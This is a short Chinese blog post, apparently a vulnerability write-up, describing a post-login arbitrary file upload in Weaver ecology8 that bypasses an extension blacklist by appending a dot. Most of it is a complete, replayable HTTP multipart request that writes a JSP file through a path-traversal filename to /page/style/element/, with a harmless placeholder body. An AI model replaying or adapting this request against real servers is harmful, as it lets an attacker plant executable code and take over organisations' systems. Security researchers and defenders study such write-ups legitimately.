泛微ecology8登陆后任意文件上传

漏洞原理

黑名单认证,通过后缀上加(.)可绕过:

利用方式

没说的,直接重放数据包
blockchain

路径:/page/style/element/11.jsp

POST /weaver/weaver.page.style.StyleImpServlet/ HTTP/1.1
Host: *********
Content-Length: 307
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQ0YfMnMlwjBDTUZZ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: testBanCookie=test; loginfileweaver=%2Fwui%2Ftheme%2Fecology8%2Fpage%2Flogin.jsp%3FtemplateId%3D3%26logintype%3D1%26gopage%3D; languageidweaver=7; ecology_JSessionId=abc6Oo38alVLYcuIvyi8x; loginidweaver=1128
Connection: close

------WebKitFormBoundaryQ0YfMnMlwjBDTUZZ
Content-Disposition: form-data; name="type"

element
------WebKitFormBoundaryQ0YfMnMlwjBDTUZZ
Content-Disposition: form-data; name="file"; filename="../11.jsp."
Content-Type: text/html

<% out.println("hello");%>
------WebKitFormBoundaryQ0YfMnMlwjBDTUZZ--
127.0.0.1/weaver/weaver.docs.docs.ShowDocsImageServlet?docId=1

总结

感觉泛微cology系统太乱了,不审它了

版权声明:
作者:ucpeo
链接: Blog
来源:Blog
文章版权归作者所有,未经允许请勿转载。

THE END
< < 上一篇
下一篇>>